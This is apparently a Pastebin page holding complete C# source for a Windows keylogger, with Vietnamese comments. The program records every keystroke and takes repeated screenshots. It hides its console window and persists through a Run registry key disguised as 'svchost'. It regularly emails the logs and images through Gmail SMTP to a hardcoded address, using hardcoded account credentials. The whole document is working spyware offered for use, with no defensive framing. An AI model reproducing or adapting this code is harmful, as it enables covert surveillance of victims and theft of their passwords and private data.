Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.Win32;
- using System;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.Drawing;
- using System.Drawing.Imaging;
- using System.IO;
- using System.Linq;
- using System.Net.Mail;
- using System.Runtime.InteropServices;
- using System.Text;
- using System.Threading;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- namespace Windows_Graphics
- {
- class Program
- {
- #region hook key board
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 0x0100;
- private static LowLevelKeyboardProc _proc = HookCallback;
- private static IntPtr _hookID = IntPtr.Zero;
- private static string logName = "Log_";
- private static string logExtendtion = ".txt";
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook,
- LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
- IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
- ///
- private delegate IntPtr LowLevelKeyboardProc(
- int nCode, IntPtr wParam, IntPtr lParam);
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- using (Process curProcess = Process.GetCurrentProcess()) //lấy ra các tiến trình đang chạy
- {
- using (ProcessModule curModule = curProcess.MainModule)
- {
- return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
- GetModuleHandle(curModule.ModuleName), 0); //mỗi khi 1 phím nhả ra gọi đến hàm này
- }
- }
- }
- private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
- {
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) //có phím nhấn thì gọi hàm
- {
- int vkCode = Marshal.ReadInt32(lParam);
- CheckHotKey(vkCode);
- WriteLog(vkCode);
- }
- return CallNextHookEx(_hookID, nCode, wParam, lParam); //trả phím xong gọi lại
- }
- /// Ghi vào file log.txt
- static void WriteLog(int vkCode)
- {
- Console.WriteLine((Keys)vkCode);
- string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion; //dựa vào ngày hiện tại đưa ra file log
- StreamWriter sw = new StreamWriter(logNameToWrite, true);
- sw.Write((Keys)vkCode);
- sw.Close();
- }
- static void HookKeyboard()
- {
- _hookID = SetHook(_proc);
- Application.Run();
- UnhookWindowsHookEx(_hookID);
- }
- static bool isHotKey = false;
- static bool isShowing = false;
- static Keys preKey;
- //bật tắt cửa sổ keylog
- static void CheckHotKey(int vkCode)
- {
- if ((preKey == Keys.LControlKey || preKey == Keys.RControlKey) && (Keys)(vkCode) == Keys.K)
- isHotKey = true;
- if (isHotKey) {
- if (!isShowing)
- DisplayWindow();
- else
- HideWindow();
- isShowing = !isShowing;
- }
- preKey = (Keys)vkCode;
- isHotKey = false;
- }
- #endregion
- #region Capture
- static string imagePath = "Image_";
- static string imageExtendtion = ".png";
- static int imageCount = 0; //tránh trùng id picture
- static int captureTime = 1000; //time chụp mh
- static void CaptureScreen()
- {
- var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height,
- PixelFormat.Format32bppArgb); //kiểu dữ liệu mặc định
- var gfxScreenshot = Graphics.FromImage(bmpScreenshot);
- gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y,
- 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
- //tạo folder
- string directoryImage = imagePath + DateTime.Now.ToLongDateString();
- if (!Directory.Exists(directoryImage)) //kiểm tra folder tồn tại
- {
- Directory.CreateDirectory(directoryImage);
- }
- // đường dẫn ảnh
- string imageName = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + imageCount, imageExtendtion);
- try{
- bmpScreenshot.Save(imageName, ImageFormat.Png);
- }
- catch{}
- imageCount++;
- }
- #endregion
- #region Timer
- static int interval = 1; //khoảng tg
- static void StartTimer()
- {
- //tạo luồng mới chạy song song
- Thread thread = new Thread(() =>
- {
- while (true)
- {
- if(interval % captureTime == 0)
- CaptureScreen();
- if(interval % mailTime == 0)
- SendMail();
- interval++;
- if (interval >= 1000000) interval = 0;
- }
- });
- thread.IsBackground = true;
- thread.Start();
- }
- #endregion
- #region Windows
- [DllImport("kernel32.dll")]
- static extern IntPtr GetConsoleWindow(); //lấy mh console hiện tại của windows
- [DllImport("user32.dll")]
- static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- const int SW_HIDE = 0; //ẩn
- const int SW_SHOW = 5;//hiện
- static void HideWindow()
- {
- IntPtr console = GetConsoleWindow();
- ShowWindow(console, SW_HIDE);
- }
- static void DisplayWindow()
- {
- IntPtr console = GetConsoleWindow();
- ShowWindow(console, SW_SHOW);
- }
- #endregion
- #region Startup
- static void StartWithOS()
- {
- RegistryKey regkey = Registry.CurrentUser.CreateSubKey("Software\\svchost");
- RegistryKey regstart = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
- string keyvalue = "1";
- try
- {
- regkey.SetValue("Index", keyvalue);
- regstart.SetValue("svchost", Application.StartupPath + "\\" + Application.ProductName + ".exe");
- regkey.Close();
- }
- catch (System.Exception ex)
- {
- }
- }
- #endregion
- #region Mail
- static int mailTime = 10000;
- static void SendMail()
- {
- try
- {
- MailMessage mail = new MailMessage();
- SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); //server gửi gmail
- mail.From = new MailAddress("email@gmail.com");
- mail.To.Add("hnn152151927@gmail.com");
- mail.Subject = "Keylogger date: " + DateTime.Now.ToLongDateString();
- mail.Body = "Hello World\n";
- string logFile = logName + DateTime.Now.ToLongDateString() + logExtendtion;
- //gửi hết nội dung trong file log
- if (File.Exists(logFile))
- {
- StreamReader sr = new StreamReader(logFile);
- mail.Body += sr.ReadToEnd();
- sr.Close();
- }
- //đưa hình ảnh lên
- string directoryImage = imagePath + DateTime.Now.ToLongDateString();
- DirectoryInfo image = new DirectoryInfo(directoryImage);
- foreach (FileInfo item in image.GetFiles("*.png"))
- {
- if (File.Exists(directoryImage + "\\" + item.Name))
- mail.Attachments.Add(new Attachment(directoryImage + "\\" + item.Name)); //đính kèm mọi file png
- }
- SmtpServer.Port = 587;
- SmtpServer.Credentials = new System.Net.NetworkCredential("hnn152151927x@gmail.com", "visaoemkhoc");
- SmtpServer.EnableSsl = true;
- SmtpServer.Send(mail);
- Console.WriteLine("Send mail!");
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.ToString());
- }
- }
- #endregion
- static void Main(string[] args)
- {
- StartWithOS();
- HideWindow(); //mới vào ẩn console
- StartTimer();
- HookKeyboard();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement